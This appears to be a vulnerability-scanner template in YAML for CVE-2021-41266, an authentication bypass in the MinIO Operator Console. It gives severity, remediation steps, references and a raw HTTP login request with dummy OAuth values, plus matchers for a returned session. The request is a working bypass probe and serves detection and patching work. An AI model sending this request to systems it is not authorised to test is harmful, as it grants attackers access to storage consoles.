57 lines
2.1 KiB
YAML
57 lines
2.1 KiB
YAML
id: CVE-2021-41266
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info:
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name: MinIO Operator Console Authentication Bypass
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author: alevsk
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severity: critical
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description: |
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MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
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impact: |
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An attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console.
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remediation: 'Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.'
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41266
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- https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36
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- https://github.com/minio/console/pull/1217
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-41266
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cwe-id: CWE-306
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epss-score: 0.05383
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epss-percentile: 0.92326
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cpe: cpe:2.3:a:min:minio_console:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: min
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product: minio_console
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tags: cve,cve2021,minio,min
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http:
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- raw:
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- |
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POST /api/v1/login/oauth2/auth HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/json
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{"code":"test","state":"test"}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "sessionId"
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- type: word
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part: header
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words:
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- "token"
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- type: status
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status:
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- 201
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- 200
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condition: or
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# digest: 490a0046304402207d81ad6441d5ee5d85c21a1983a3025ee22f308e8e4b6f3ce755eb9fa7ac4697022020adb92127339910c352d1d5dd76e2f509ec045b073282da96b15dd91d183737:922c64590222798bb761d5b6d8e72950 |